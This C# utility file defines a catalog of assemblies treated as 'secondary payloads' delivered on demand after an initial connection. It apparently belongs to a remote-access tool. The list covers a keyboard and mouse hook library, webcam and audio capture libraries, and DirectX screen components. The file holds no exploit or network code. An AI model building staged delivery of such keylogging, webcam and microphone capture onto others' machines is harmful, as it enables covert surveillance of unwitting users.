using System;
using System.Collections.Generic;
using System.Collections.ObjectModel;
using System.Linq;
namespace Pulsar.Common.Utilities
{
///
/// Defines the set of assemblies that are considered secondary payloads and may be delivered on-demand.
///
public static class DeferredAssemblyCatalog
{
private static readonly string[] _secondaryAssemblies = new[]
{
"AForge",
"AForge.Video",
"AForge.Video.DirectShow",
"Gma.System.MouseKeyHook",
"NAudio.Core",
"NAudio.Wasapi",
"NAudio.WinForms",
"NAudio.WinMM",
"SharpDX",
"SharpDX.Direct2D1",
"SharpDX.Direct3D11",
"SharpDX.DXGI",
"SharpDX.D3DCompiler",
"SharpDX.Mathematics"
};
private static readonly ReadOnlyCollection _secondaryAssembliesReadonly =
Array.AsReadOnly(_secondaryAssemblies);
private static readonly HashSet _secondaryAssembliesSet =
new HashSet(_secondaryAssemblies, StringComparer.OrdinalIgnoreCase);
///
/// Gets the ordered list of assemblies that should be delivered after the initial connection.
///
public static IReadOnlyList SecondaryAssemblies => _secondaryAssembliesReadonly;
///
/// Checks whether the provided assembly name is part of the deferred assembly list.
///
/// The simple assembly name.
public static bool IsDeferredAssembly(string assemblyName)
{
if (string.IsNullOrWhiteSpace(assemblyName))
{
return false;
}
return _secondaryAssembliesSet.Contains(assemblyName);
}
}
}